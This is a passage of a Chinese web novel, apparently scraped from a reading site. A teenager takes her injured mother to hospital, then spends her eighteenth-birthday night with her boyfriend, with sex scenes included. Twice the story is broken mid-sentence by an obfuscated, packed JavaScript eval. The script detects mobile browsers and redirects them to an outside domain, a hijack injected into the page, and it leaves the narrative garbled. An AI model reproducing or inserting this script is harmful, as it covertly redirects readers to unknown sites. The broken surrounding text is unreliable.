“先是昏迷了一小会儿,然后清醒了大概五分钟,再次陷入昏迷后就没醒过。” “呕吐过吗?” “没有。” “有没有高血压?” “没有。” “先去做个颅脑CT吧。” 施南笙陡然想起一个重要信息,急忙补充:“医生,我妈她怀孕了。” “怀孕多久了?” “……八周左右。” “做完CT再去做个产科B超。” 护士帮忙把尹玉琢推去了CT室,施南笙去缴费,她想着做完检查肯定还要做手术,也不知道手术费需要多少,就把这三年做兼职攒的几万块全部转进了尹玉琢的医保卡里。 而后她打给梅小月,简明扼要地说明情况:“梅姐,我妈被邱成打伤了,现在正在二院做检查。我需要你的帮助,你能过来吗?” 梅小月一口答应:“好好好,我马上过去。” 施南笙不忘叮嘱一句:“你别着急,路上注意安全。” 做完CT又去做B超,产科医生说胎儿没有异常。 之后尹玉琢就被转去了神经外科,在CT结果出来之前,施南笙只能忐忑地等待。 梅小月来得很快,看到尹玉琢的惨状,顿时泪如雨下。 施南笙忍住不哭,既是安慰梅小月也是安慰自己:“她不会有事的,一定不会有事的。” 梅小月擦擦眼泪,恨声说:“还真被你妈说中了,那个男人就是个人面兽心的畜生。笙笙,你没受伤吧?” 刚问完,梅小月就看到了她脖子上几道青紫的淤痕,像是用手掐出来的。 施南笙注意到她的视线,就把扎起来的头发放了下来,勉强遮住那些痕迹。 没来得及多说什么,CT结果出来了,医生向她们阐述病情,施南笙听得似懂非懂,直到听见医生说“目前情况还算稳定,暂时没有生命危险”,悬着的心才落下去一半。 医生又说:“幸好送来的及时,患者颅内的血肿还没完全凝固,只用做个钻孔引流术就能清除。这是个微创手术,一两个小时就能做完,你们不用太担心。” 施南笙在手术同意书上签了字,把尹玉琢送进手术室后,她对梅小月说:“梅姐,我得回家一趟,麻烦你守在这里,有事就给我打电话。” “会不会有危险?”梅小月担心。 “不会的,”施南笙说,“那个人一时半刻不敢出现。” 梅小月便点点头:“去吧,有我在,你放心。” 施南笙在医院门口扫了辆共享单车,十几分钟后,抵达单元楼下,停车上楼。 她的钥匙还在门上插着,快递箱子也在门外扔着,她先把门打开,再把箱子搬进去,随意地放在玄关。 施南笙走进客厅,把倒在地上的吸尘器捡起来放回原位,把卡在门上的菜刀拔下来放回厨房。 校服上沾了很多血,她先回自己房间换了身干净衣服,又去了尹玉琢的卧室,把各种重要证件都找出来,又收拾了几件换洗衣物和生活用品,就拎着包出门了。 骑着共享单车回到医院,手术还没做完。 施南笙陪着梅小月等了快一个小时,尹玉琢终于被推出手术室,随即又转入ICU。 医生告诉她们,手术很顺利,在ICU观察24小时,即可转入普通病房。 非探视时间家属进不了ICU,梅小月继续留在这里也是白费时间,施南笙便让她回家休息,梅小月也有一家老小要照顾,就说等明天尹玉琢出了ICU她再过来。 “你呆在这儿也没啥用,不如跟我回家,去我家好好睡一觉。”梅小月反过来劝她,“你可不能熬坏了身体,你妈现在全靠你了。” 施南笙稍作迟疑,点头答应:“你先回去,我过会儿再走。” 梅小月同意了。 等电梯的间隙,梅小月义愤填膺地说:“偏偏在你生日这一天闹出这种事,那个杀千刀的狗男人真是该死,所幸没影响你高考。笙笙,你当时报警了没有?” 施南笙说:“我急着送我妈来医院,没顾上别的。” 梅小月静了静,换了一副无可奈何的口吻:“其实没报警也好,就算你报了警,也不一定会有什么好结果,反而可能会让事情变得更糟。” 尽管她说得含糊其辞,施南笙却心领神会。 两个人都被一种深深的无力感包围了,久久无言。 目送梅小月进了电梯,施南笙回到ICU门口坐着,強烈的失序感令她既恐慌又迷茫,好似独自在无垠的海面上漂泊,找不到方向。 这样无所事事地坐着实在太煎熬了,她得出去走走,于是坐电梯下楼,到了一楼大厅,去旁边的小超市买了瓶矿泉水,一口气灌下去一整瓶,她真的渴坏了。 走出住院楼,她发现不知何时下起了小雨,淅淅沥沥的雨声像是天与地在窃窃私语。 施南笙在这铺天盖地的私语中漫无目的地游走,像个无处可去亦无人可依的孤魂野鬼。 不知走了多久,也不知走到了哪里,忽然听见有人唤她的名字,施南笙茫然四顾,看到一个男生横穿马路朝她跑来。 她整个人恍恍惚惚的,一时想不起他是谁,直到他站在她面前,用那双满含焦灼与担忧的眼睛看着她,她才骤然想起来,他是路星川,他们原本约好了要在某个地方见面,她回家是为了拿上生日礼物,顺便再换身漂亮衣服,谁成想…… 视线突然变得模糊,施南笙抬手摸了摸眼睛,却沾了满手热泪。 路星川被她吓到了,他从未见过她如此失魂落魄的样子。 他不知道发生了什么,也不知道该怎么办,只能牢牢地把她抱在怀里,不住地安慰:“没事了,没事了,有我在呢……” 过了许久,他听见她说:“路星川,我无家可归了,你带我回家吧。” 路星川毫不犹豫地答应:“好,我带你回家。” 他用指腹抹掉施南笙脸上的泪痕,继而转过身背对她,屈膝折腰:“上来,我背你。” 施南笙趴到他背上,环住他的脖子,路星川挽住她的腿,直起身来,慢步向前。 那些几乎要将她压垮的情绪似乎随着眼泪一起流出了体外,施南笙恢复如常,她扫视周遭,终于弄清自己身在何处,这个地方她前几天才刚来过。 她记得路星川说过,他家住在永乐西街,离这儿还蛮远的,于是建议打个车,路星川却说不用,顿了几秒,他低声说:“对不起,我骗了你,其实我家不在永乐西街,而是在青塘街。” 施南笙哑然片晌,心平气和地说:“难怪我以前从来没在7路车上见过你。” 她没生气,路星川心下微松,紧接着就听她问:“5月28号那天早上,你为什么会出现在7路车上?” 路星川就知道她会起疑,他也没必要再遮遮掩掩,干脆老实交代:“27号晚上,谢垚在群聊里炫耀,说……说你答应和他开房,还说他会把过程拍下来,到时候发群里,让群友们饱饱眼福。我有个朋友刚好也在那个群里,就截图发给了我,我担心谢垚会对你使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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路星川点头:“住院费挺贵的,我就把它接回来自己照顾了。” 施南笙迈步进去,目光在这个破旧又凌乱的小房子里逡巡,暗自惊讶,她没想到路星川的家境会差成这样,居然连她都不如。 只能说路星川的长相和气质太具有迷惑性了,不熟悉他的人很难把他和“贫穷”二字联系在一起,所以她一度以为他和江以桢是同一阶层的人,才贸然利用了他。 实在太乱了,路星川想简单收拾一下都无从下手,他只能牵起施南笙的手,带她去他的房间,他的房间是这座房子里最干净的部分。 到了房间门口,路星川再次用手中那串钥匙开门。 这个举动不太寻常,施南笙窥他一眼,瞬息间对他的处境有了更清晰的了解——路星川应该是跟着他爸一起生活,要是跟妈妈一起住的话,这个家不会乱成这样;路星川跟他爸的关系应该很糟糕,否则他也不会把房门锁起来,像防贼一样防着他爸。 刚把房门推开,三三就窜了出来,三条腿也不影响它活蹦乱跳。 路星川也不管它,笑着对施南笙说:“请进。” 是个很小的房间,一眼望去就能尽收眼底。 一大半的空间都被那张床占去了,床上乱七八糟地扔着许多衣服;床尾立着个衣帽架,春夏秋冬的衣服都在上面挂着,那根横杆都被压弯了;挨着床头摆了张电脑桌,桌上放着一摞书和一台显示器,桌下放着主机和猫窝;两边墙上贴满了花花绿绿的电影海报,算是唯一的装饰,让这个小小的房间充满了文艺气息。 如果忽略床上那些衣服的话,倒还算整洁,也闻不到任何异味。 路星川把床边的几件衣服扔到床里,顺手抻了抻床单,笑容略显尴尬:“坐吧。” 施南笙穿着外衣外裤是绝对不会往床上坐的,别人的床也不行,她踟蹰两秒,说:“我想先洗个澡。” 路星川愣愣地看着她不说话,施南笙以为这里不具备洗澡的条件,于是又改口:“洗不了也没关系。” “能洗能洗,”路星川如梦初醒,从她身边挤过去,“你等我一下。” 路星川去卫生间察看热水器,幸好他几个小时前洗完澡忘了断电,面板上显示水温75度,足够了。 他快速地把蹲坑刷了一遍,又把垃圾袋换了,这才返回房间,站在门口说:“好了,可以去洗了。” 施南笙说:“你还得借我两件衣服。” 路星川从衣帽架上挂着的那堆衣服里挑了一件新买的白T和一条黑色短裤,征求施南笙的意见:“这两件可以吗?” 施南笙“嗯”了一声,伸手去接,路星川却说:“卫生间里没有挂衣服的地方,等你洗完我从外面递给你。” 他把衣服放到床上,从床底下找出一双拖鞋,让施南笙换上。 卫生间正对着厨房,比学校女厕的隔间大不了多少。 教完施南笙怎么调节水温,路星川去门外等着,等着施南笙把脫下来的衣服通过门缝一件件递出来,先是一条长裤,接着是T恤,然后是內衣內裤,路星川看都不好意思看,裹成一团抱回了房间。 匆匆洗完,施南笙把推拉门拉开一条缝,喊路星川的名字,路星川应声而来,先递进来一条浴巾:“这是我一个人的浴巾,才洗过,是干净的。” 施南笙擦干身体,把浴巾递出去,路星川再把衣服递进来。 穿好衣服出来,施南笙问:“有吹风机吗?” “有,不过我得找找。”路星川很少用吹风机,早忘了放哪儿了。男孩子头发短,擦完再晾晾也就干了,省事。 路星川走来走去地找吹风机,三三屁颠屁颠地跟着他。 施南笙就在不碍事的角落里站着,这儿瞧瞧那儿看看。 飘忽不定的视线蓦地定在了沙发墙上挂着的一幅相框上,她死死地盯着照片里的男人,一颗心如坠冰窖。 直到路星川拿着吹风机来到她面前,施南笙才堪堪回神,她抬手指着那张照片,嗓音微哑:“那个男的是谁?” 路星川随便瞥了一眼,语气淡淡:“我爸。” “你爸叫什么名字?” “路秋城。” “哪个qiū,哪个chéng?” 这个问题很奇怪,施南笙的表情也很奇怪,路星川隐隐有些不安:“秋天的秋,城市的城。怎么了?你认识他?” “不认识,”施南笙矢口否认,“我从来没有见过他。” 她否认得太快,路星川很难不起疑,然而下一秒,他就被施南笙一句话惊得魂飞魄散。 施南笙说:“路星川,你想和我上床吗?” 11. 第11次听说 Chapter11 或许是刚洗过澡的缘故,施南笙的双眸格外水润清澈,路星川甚至能在里面看到他的倒影。 她就这样含情脉脉地注视着他,带着一种蛊惑人心的魔力,无论她让他做什么他都会乖乖答应的,可是她想听到的那个答案却卡在了他的喉咙里,无论如何都说不出口。 施南笙等不到他的回答,便上前一步,双手环上他的腰,脸貼上他的心口,剧烈的心跳声犹如躁乱的鼓点,直冲她的耳朵,她静静听了一会儿,纷乱的思绪奇异地平静下来。 她仰起脸看着路星川,轻声细语地说:“路星川,今天是我们的十八岁生日,我们已经长大成人了,我们可以做只有大人能做的事了。还是说,你不敢?” 路星川知道她在用激将法,但他还是自愿上钩了,他扔掉了手中的吹风机,直接将施南笙打横抱起,而后在她耳边沉声说:“我想,我也敢。” 路星川抱着她走进房间,先将她放到床上,转而去关门。 施南笙自觉地往里挪了挪,发现房间发生了几点明显的变化——床上乱扔的那些衣服全都没了,整整齐齐地挂去了衣架上;床单换过了,从黑色的换成了绿色的;床边多了一台电风扇,呼呼地吹着风。 随着“啪”的一声轻响,顶灯灭了,房间陷入黑暗。 路星川折身来到电脑桌前,打开桌上的一盏小夜灯,稍显微弱的冷光足以将这方寸之地照亮,却又不会太亮,有助于缓解羞涩和紧张。 三三被关在了门外,叫得撕心裂肺。 路星川说了句“等我一下”,就开门出去了,过了几分钟才回来。 他坐在床边,背对着施南笙,开始脫衣服。 施南笙侧躺着,看着他的动作,问:“你把三三弄哪儿去了?” “送到隔壁邻居家了,”路星川说,“他们家有只大橘,可以帮忙带孩子。” “你不洗澡吗?”施南笙又问。 “我出门之前洗过了。”顿了顿,路星川又说:“我可以再洗一遍。” “不用了。”施南笙轻笑着说。 路星川脫得只剩一条四角內裤,又往身上套了件工字背心,他上了床,把才叠好的夏凉被展开,盖在他和施南笙身上,这才躺下,和施南笙面对面。 “你是不是很紧张?”施南笙明知故问。 “……”路星川羞于承认,从施南笙洗完澡开始,他就不敢正眼看她,目光总是不由自主地躲闪,此刻更是无处安放。 “不如我们先聊聊天吧。”施南笙说。 “你想聊什么?”路星川嗓音低哑。 施南笙忽然猫似的钻进他怀里,搂着他貼着他,他能清晰地感觉到她的柔-软,本就紧绷的他登时变得浑身僵硬,那种血脉偾张的感觉来得迅猛又強烈,他几乎要承受不住,他好像快要烧起来了,呼吸烫得吓人。 施南笙对他的反应若无所觉,只管枕着他的胳膊,脸埋在他胸口,瓮声瓮气地说:“你爸对你好吗?” 犹如一桶冷水兜头浇下来,瞬间将路星川体內那团烈火浇熄,只剩一点火星子,他的情绪大起大落,完全被她玩弄在股掌之中。 “……不好。”尽管十分抗拒聊这个话题,路星川却没回避,只要是施南笙想知道的,他全都会告诉她。 “为什么?”施南笙又问。 “有部很出名的老剧,叫《不要和陌生人说话》,你听说过吗?”路星川反问。 “嗯,”施南笙已经预感到他要说什么了,“是讲家暴的。” “没错。”路星川将她潮湿的长发铺在枕上晾着,“路秋城和这部剧的男主一模一样,在外面的时候像个正常人,可是一回到家里就变成了疯子,我妈就是那个首当其冲的受害者。” 那些尘封多年的回忆重新在路星川的脑海中浮现,伴随着痛苦与仇恨,他竭力克制,尽可能平心静气地往下说:“在认识路秋城之前,我妈谈过几段恋爱,路秋城因此认定她是个水性杨花的女人,但凡我妈跟别的男人多说几句话,他就怀疑我妈跟人家暧昧不清。在我刚出生没多久,有个亲戚随口说了句我长得不像他,路秋城就怀疑我不是他亲生的,我妈为了自证清白,就去做了亲子鉴定,结果显示我就是路秋城的亲生儿子,可他还是不信,又说以前和我妈发生过关系的那些男人,他们的基因都会遗留在我妈的子宫里,我身上带着那些男人的基因,所以我其实是个杂种,并不完全算是他路秋城的儿子,反正就是不肯承认他错了。我妈气疯了,要跟他离婚,可他死活不同意,他就是要把我妈拴在身边,耗着她,不停地折磨她……我妈为了我,忍了十年,终于忍无可忍,在一个男人的帮助下逃走了,路秋城就把对我妈的怨恨发泄到我身上,不过他没能折磨我太久,因为我很快就长大了,他打我我就拼命还手,渐渐的他就不敢再跟我动手了。” 路星川省去了很多惨烈的细节,轻描淡写地把这个不算新鲜的“故事”讲完了。 即使施南笙亲眼见过“邱成”施暴的画面,也还是很难把路星川口中的“路秋城”和她认识的“邱成”当作同一个人,只能说这个男人太会装了。 静了静,施南笙说:“如果他哪天突然死了,你会伤心吗?” “不会,”路星川回答得又快又笃定,“他不值得我伤心。” 施南笙从他怀里探出头来,看着他的眼睛,试图分辨他说的是真话还是假话。 两张脸近在咫尺,呼吸相闻,路星川只要稍微往前一点点,就能触碰到她的嘴唇,但他不敢,因为他知道,一旦开始就再也停不下来了。 施南笙从路星川的眼神中得到了她想要的答案,微微一笑,说:“我们聊点开心的事情吧。” “比如?”路星川也流露出些许笑意。 “比如……”施南笙故意停顿两秒,“你是从什么时候开始喜欢我的?” 这个问题可太难回答了,相当于变相告白,路星川思来想去也没个确切答案,只能遵循本心,想到什么说什么:“其实高一上学期我并未关注过你,直到下学期6月份的生日会,我才知道你和我是同年同月同日生,从那天起,你在我眼里就变得特殊起来,因为我们之间多了一层别人没有的缘分,这种缘分有个专有名词,叫‘同生缘’。据说拥有同生缘的两个人天生就有很多相似之处,最典型的例子是林肯和达尔文,他们就有许多类似的人生经历。我想知道你和我会不会也有些共同点,就开始暗中观察你。 每天早上走进教室前,我会先看看你在不在座位上,如果你不在,我会走后门,如果你在,我会走前门,从你的座位旁边经过,看看你在做什么。你永远在学习,抓紧每一分每一秒在学习,难怪你成绩那么好。 你不喜欢拥挤,所以每天中午都是等人走得差不多了你才去食堂,我就走在你后面,和你在同一个窗口打饭,坐在你附近吃饭。你总是吃得很快,但吃相又很好看,看你吃饭是种享受,你去做吃播一定爆火。 每天放学,你也要在教室多待一会儿,我就陪你待着,你什么时候走我什么时候走。出了学校,你会在校门口的小摊上买吃的,杂粮煎饼、鸡蛋灌饼、鸡蛋汉堡这三样换着买,趁着等公交的间隙吃完。你坐19路,在凤仙街西口下车,去街口那家好又多便利店打工。虽然我很少坐7路车,但我坐过很多次19路,也去你打工的便利店买过很多次东西,你应该没什么印象吧? 在哈萨克语里,‘我清楚地看见你’就是‘我喜欢你’的意思,我就是这样日复一日地偷偷看着你,然后不知不觉地喜欢上了你。” 听完他这一番剖白,施南笙不禁有点困惑——只是这样就能喜欢上一个人吗? 不需要长久的接触,不需要深入的了解,只是远远地看着,就能让一个人走进心里吗? 她蓦地想到“一见钟情”这个词,又想到那部名叫《泰坦尼克号》的著名电影,只因一见钟情,男主就甘愿为女主赴死。 或许爱情就是这么不讲道理,也不讲究什么起承转合,没有任何逻辑可言。 这样想着,施南笙后知后觉地生出几分感动,情意正浓,气氛正好,她觉得是时候进入正题了,刚想凑过去吻他,路星川突然抽身坐了起来。 路星川欠身把搭在椅子上的牛仔裤拿过来,从口袋里掏出手机,点开外卖软件,把手机递给施南笙:“点个蛋糕吧,我知道你不喜欢吃甜食,但今天过生日,就当应个景。” 施南笙也坐起来,选好蛋糕之后把手机还给路星川,路星川用指纹付了款,又悄悄买了别的,放下手机,重新面对施南笙,方才轻松惬意的气氛已经荡然无存,那种尴尬、紧张、无所适从的感觉又回来了,心跳和呼吸开始紊乱,眼神又开始躲闪。 “你、你想喝水吗?”路星川口干舌燥,嗓子忽地哑了,“我去拿。” 路星川掀开被子下床,还没来得及把脚塞进拖鞋里,施南笙就从身后抱住了他,她洗完澡之后没穿內衣,独属于女孩的柔-软隔着两层薄薄的衣料貼着他的脊背,路星川几乎立刻就有种难以自持的感觉。 “我不想喝水。”施南笙在他耳边说,呼出来的热气熏红了他的耳朵,“路星川,我们开始吧,再拖下去,生日就要过去了。” “我、我刚买了那个,”路星川吞吞吐吐地说,“要半小时才送到。” 施南笙慢半拍才反应过来“那个”指的是什么,于是说:“不戴也没关系,我现在在安全期。” 路星川不懂就问:“安全期是什么?” 施南笙拿起他刚才放在枕边的手机:“你自己查。” 其实路星川刚问完就已经隐约明白“安全期”意味着什么,他把手机攥在手里,默然片刻,低声问:“你确定你不会后悔吗?” 施南笙没有回答他,她松开了他的腰,从他的背上离开,路星川的心猝然开始下坠,在冰火两重天里煎熬拉扯。 “路星川,”身后响起施南笙的声音,柔和地命令他,“转过来,看着我。” 路星川听话地转身,下一瞬,他惊得连呼吸都忘了——花季少女的身-体没有一丝遮挡,赤-裸-裸地呈现在他眼前,洁白,纤秾,婀娜,娉婷,妩媚,窈窕……所有美好的词汇都可以堆砌在她身上,却没有哪个词汇能准确描绘出他此刻的感受。 “我不后悔,”施南笙直视着他的眼睛,语声轻柔而沉定,“永远都不后悔。” 路星川哑口无言,只是怔怔地看着她,像被抽走了灵魂。 施南笙挨近他,帮他脫掉那件背心,然后抱住他,让两副滚-烫的身-躯毫无阻隔地亲-密接-触,附耳低语:“让我们一起完成这个成人礼,好不好?” “……好。”路星川终于出声。 一个炙-热的吻落在施南笙颈侧,令她细细颤-抖,她闭上眼睛,心想,从这一刻起,她要忘掉那个疯子,忘掉躺在ICU里的妈妈,不去想现在和以后,她要把今夜当作一场醉生梦死的狂欢,也当作对路星川的补偿。 …… 两个初-尝禁-果的少男少女,稀里糊涂,懵懵懂懂,没有任何技-巧可言,全凭一腔冲-动和本-能,结果可想而知。 施南笙除了疼还是疼,没有任何快乐可言。 而路星川刚开始就结束了,他一动不敢动地趴-在施南笙身-上,但施南笙能感觉到他的胸腔在震动,他的心率高得吓人。 忽然间,施南笙感觉到颈窝里传来一股湿-热,她惊疑不定地问:“路星川,你在哭吗?” “没有……”路星川说着抬起头来,顿时把施南笙吓了一跳——原来他不是在哭,而是在哗哗地流鼻血! 路星川急忙捂住口鼻,翻身从施南笙身上下去,也没法穿衣服,赤-身-裸-体地往卫生间跑去。 几分钟后,路星川回到房间,腰上围着浴巾,手里拿着毛巾。 他很想装作若无其事,可一对上施南笙那双带笑的眼睛,他就装不下去了,他羞恥得快爆炸了,切身体会到了“羞臊欲绝”是种什么感觉。 “想笑就笑吧,”路星川破罐子破摔,“不用管我的死活。” 施南笙才没那么残忍,但她还是低低地笑了两声。 “这好像是你第一次对我笑,”路星川在床边坐下,“能博你一笑也值了。” 施南笙收敛笑意,垂眼看着他手里的湿毛巾:“是给我的吗?” 路星川“嗯”了一声,问:“我帮你擦还是你自己来?” 施南笙从被子底下伸出一只手:“我自己来。” 施南笙擦-拭身-体,路星川穿衣服,俩人各忙各的,谁都不看谁。 施南笙刚才已经用纸巾擦过一遍了,她用湿毛巾擦掉脖颈上残留的血迹,就把毛巾还给了路星川,再趁着路星川出去洗毛巾的空当穿上了衣服。 路星川回来的时候,一只手拿着瓶矿泉水,另一只手拿着吹风机。 施南笙喝了几口冰水,侧身坐在床边,让路星川帮她吹头发。 路星川第一次做这种事,不是很熟练,把施南笙扯疼了好几次,她默默忍着,视线停在桌后那面蒙尘的玻璃窗上,依稀可以看到雨在飘。 头发原本已经半干了,只用了三五分钟就完全吹干了。 吹风机的噪音刚停下,路星川的手机就响起来,他边接电话边往外走,很快就拎着蛋糕回来了。 拆开包装,插上两根蜡烛,一根是“1”,另一根是“8”,点燃蜡烛之后,路星川关掉小夜灯,让微暗的烛火成为这间屋子里唯一的光源。 路星川坐在椅子上,双手捧着蛋糕,隔着摇摇晃晃的烛光凝望着他的心上人,为她唱起生日歌:“祝你生日快乐,祝你生日快乐,祝你生日快乐……” 歌声停了,路星川郑重其事地说:“祝我们毕业快乐,祝我们18岁生日快乐。” 施南笙重复他的话:“祝我们毕业快乐,祝我们18岁生日快乐。” 路星川说:“许个愿吧。” 施南笙从不许愿,因为她知道这世上没有神明,就算有,神明也不会眷顾世人,想要的东西只能靠自己去争取。 但是,在路星川殷殷的注视下,她还是闭上了眼睛,双手交握于胸前,假装许了个愿,而后从路星川手中接过蛋糕:“该你了。” 路星川有样学样,须臾后睁开眼睛,两个人一起吹灭蜡烛,谁都没问对方许的什么愿。 路星川把小夜灯打开,拿回蛋糕:“要切吗?” 只是个四寸的冰淇淋蛋糕,实在没有切开的必要,施南笙就说:“直接用勺子挖着吃吧。” 施南笙就地取材,用绑蛋糕盒的丝带把头发扎起来,以免沾到蛋糕。 路星川目不转睛地看着她的动作,心想,如果他现在拿起手机拍她的话,应该会显得很奇怪吧? ——很多青春电影里都会出现男生看着女生扎头发然后怦然心动的桥段,以前他不理解心动的点在哪里,现在他理解了,非常深刻地理解了。 然而心动的感觉在看到施南笙脖子上那些刺眼的伤痕时戛然而止,其实他早就发现它们的存在了,他很想知道它们是怎么来的,但施南笙不想说,他也只能忍住不问。 等施南笙扎好头发,他们一人拿着一把塑料小勺,三下五除二就把蛋糕消灭干净。 路星川边收拾边打趣她:“你看起来不像讨厌甜食的样子。” “因为太饿了。”施南笙解释。 “吃饱了吗?”路星川问,“要不我再去给你下碗长寿面?我可是煮面达人。” 施南笙摇头:“不用了。” 路星川把垃圾拎出去,回到施南笙面前坐下,接着从裤子口袋里掏出一个小蓝盒,递给施南笙:“生日礼物。” 施南笙解开绑在盒子上的粉红丝带,视线在英文LOGO上稍作停留——即使她买不起任何奢侈品,但也不至于孤陋寡闻到连“TIFFANY”都不知道。 施南笙打开盒子,看一眼里面的项链,就把盒子合上了。 这不是路星川期待看到的反应,他有些忐忑:“你不喜欢?” “多少钱买的?”施南笙用一种无波无澜的眼神看着他,语气也很平静,“不许骗我。” “……两万多。”路星川含糊其辞。 “两万多少?” “两万两千五。” “你哪儿来这么多钱?” 路星川怕她生气,只能老实交代:“这是我们在一起后过的第一个生日,而且还是18岁生日,我必须送你一份像样的礼物。可我手里只有两三千,根本不够,我就联系了以前认识的一个摄影师,他一直想找我当模特,我对拍照没兴趣,就没答应。上周我消失那两天,我跟你说我病了,其实是去外地拍照了。” 施南笙这回是真的有点生气了,不是因为他撒谎,而是他作为一个高三生,却在高考前几天抛下学习去赚钱,只是为了给她买一份贵重的礼物。 施南笙问:“高考对你来说是不是一点都不重要?” 路星川不答反问:“你知道我三模考试的年级排名是多少吗?” 施南笙当然不知道。 路星川也是要面子的,他不好意思说出具体数字,只是含混地说:“年级倒数。”他自嘲一笑,“从小到大,我既没有好好学习的条件,也没有天赋异禀的大脑,有时候想努力一把都不知道该往哪儿使劲。我能考上高中已经是走了狗屎运,从没奢望过还能读大学,所以也就没有努力学习的必要了。” 施南笙能够理解他的困境,却不能认同他的做法。 只有像江以桢那样的人才能不把高考当回事,而像她和路星川这样的人,如果想要往上爬,考大学几乎是唯一的出路,她一直在朝着这个目标不懈努力,所以她无法接受路星川连试都不试一下就自暴自弃。 路星川观察着她的神色,却看不透她在想什么,她像一个难解的谜,正因神秘莫测而更加令人执迷。 斟酌少顷,他开口打破沉默:“有些话不适合今天说,可既然聊到这儿了,就趁机说开了吧。” 施南笙抬眼看着他,等他说下去。 路星川一脸认真地说:“你是学霸,我是学渣,高考这道分水岭,你过得去,我过不去,我们注定会渐行渐远。我希望你不被这段关系影响,全力以赴地往前冲,想飞多远就飞多远,能飞多高就飞多高,我希望我能成为那个把你往上托举的人,而不是一颗绊脚石——要是哪天你觉得我碍事了,就把我一脚踢开,我绝不会有一句怨言。” 这番话比那段告白更让施南笙触动,她固若金汤的心防似乎被撬开了一道细缝,有什么东西汩汩地流淌出来。 可一想到她眼下的处境,她就不由地悲从中来。 她不想让路星川看到她的眼泪,于是她倾身吻上了他的唇,从此难-舍难-分。 …… 这回没那么痛了,施南笙甚至还稍稍领略到了其中奥妙。 路星川比第一次有所进步,但依旧没能坚持太久,他休憩片刻,哑声问:“让我就这样待一会儿,可以吗?” 施南笙有些为难:“可我喘不过气。” 路星川说:“你先抱-紧我。” 虽然不清楚他要做什么,但施南笙还是照做了。 路星川的两只手分别从她的腋下和腰下穿过去,将她紧紧包裹在怀中,而后带着她翻了个身,霎那间上下颠倒,换成她趴在他身上。 “……这样你不难受吗?”施南笙问。 “不难受,我喜欢这样。”路星川把夏凉被拉过来盖住她,“而且你太轻了,我根本感觉不到你的重量。” 施南笙便放松下来,脸貼着路星川的胸口,他的手一下一下地梳理着她的长发,缱绻又温存。 就这样静静地依偎了许久,路星川都快昏昏欲睡了,忽然听见施南笙说:“你的礼物我忘在家里了。” “没关系,明天再给我就行了。”路星川伸手把手机拿过来,一看时间瞌睡都吓醒了,“都过零点了,我送你回家吧?” “我不回家,”施南笙说,“我要在这儿过夜。” “你妈允许你夜不归宿吗?”路星川问。 “你不想让我留下?”施南笙避而不答。 路星川当然想让她留下,这是他有生以来最幸福的一天,是他此生的“高光时刻”,他恨不得时间就此停止,这一刻能够永远持续下去,可他知道这是痴心妄想,美好的事物从来无法久存,迟早会离他而去,但即使只是短暂拥有,也已经死而无憾了。 纠结半晌,路星川到底还是妥协了:“虽然路秋城三天两头不着家,但偶尔也会回来,要是他回来了,你不能让他发现你,我怕他会找你麻烦。” 施南笙应了声“好”。 路星川满心歉疚:“对不起,委屈你了。” 施南笙抬起头看着他,没头没尾地问:“你知道什么是出租屋文学吗?” “不知道,让我查查。”路星川拿起手机,在浏览器里输入关键字,再把搜索结果朗读出来,“「出租屋文学是一种以都市年轻人出租屋生活为背景的文学类型,其核心特征是空间局限性带来的情感张力,狭小的出租屋既放大生活的窘迫,又成为情感孕育的温床……」”① “好了,不许念了。”施南笙捂住他的嘴,“我们现在就是出租屋文学的具象化,我并不觉得委屈,反而觉得这是种新奇的体验。” “好吧,”路星川莞尔一笑,“你安慰到我了。” 施南笙重又低下头,小声问:“你现在可以出来了吗?” 路星川原本已经偃旗息鼓,被她这么一提醒又开始蠢-蠢慾-动,他很想卷土重来,却又担心施南笙禁受不住,只好强自按捺着说:“我不方便,你自己下去。” 施南笙哪好意思,僵持了一会儿,她说:“我想去洗澡,你抱我去。” “好,那……你先搂住我的脖子。” “嗯。” “我要坐起来了。” “嗯。” 当路星川坐起来的那一刹那,施南笙不由自主地下坠了几厘米,一股电-流同时击-中了他们,自深深处向着四肢百骸流窜,两个人不约而同地咬紧了牙关,没有发出任何声音。 过了半分钟,路星川才移到床边,双脚落地,套上拖鞋,他再次提醒:“我要站起来了。” “……”施南笙不敢出声,只是手脚并用地抱紧他,宛如一株缠绕着大树的菟丝花。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805434|175122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 从房间到卫生间这短短一段路,每一步都走得很艰难,好不容易进了卫生间的门,路星川说:“你可以下来了。” 他说得轻巧,可施南笙既不敢放手也不敢松蹆,真正地骑“虎”难下。 路星川等了等,试探着问了一句:“我陪你一起洗?” 施南笙轻不可闻地“嗯”了一声。 …… 这一次,施南笙终于体会到了那种惊涛骇浪朝她袭来的感觉,她根本无力招架,要不是路星川及时勾住她的腰把她捞回来,她就要跪倒在地了。 她背靠在路星川怀里,好半天才缓过神来,听见路星川问:“能站稳吗?” “……嗯。” “我出去拿浴巾,你等我一下。” “好。” 路星川湿漉漉地出去,眨眼间就拿着浴巾回来了,先帮施南笙擦干身-体,又随便擦了擦自己,再用浴巾把施南笙包起来,把她抱回房间——之所以这么抱来抱去,是因为只有一双拖鞋,当然,路星川也乐意之至。 回到房间,两个人光溜溜地钻进了被子里,路星川问:“要喝水吗?” 施南笙说:“不想喝。” 她的声音听起来有些委靡,路星川问:“是不是困了?” “有点。”施南笙刚说完就打了个呵欠。 “那就睡吧,”路星川说,“晚安。” 施南笙说:“我不习惯裸-睡。” 路星川起来找了两身衣服,他和施南笙各自换上,刚躺下,施南笙又提出新的要求:“我习惯听着歌睡。” 路星川长手一伸,把手机拿过来:“想听什么歌?” 施南笙倏然想到他们在教室后门接吻那天她脑海中闪现的两句歌词,于是说:“《夜里无星》。” 路星川播放了她想听的歌,设置了单曲循环和定时关闭,然后把她搂回怀里,一只手轻轻拍着她的背,哄小孩似的。 “夜里无星, 整个城市都在找寻, 找寻为何不亮的原因, 追根究底……”② 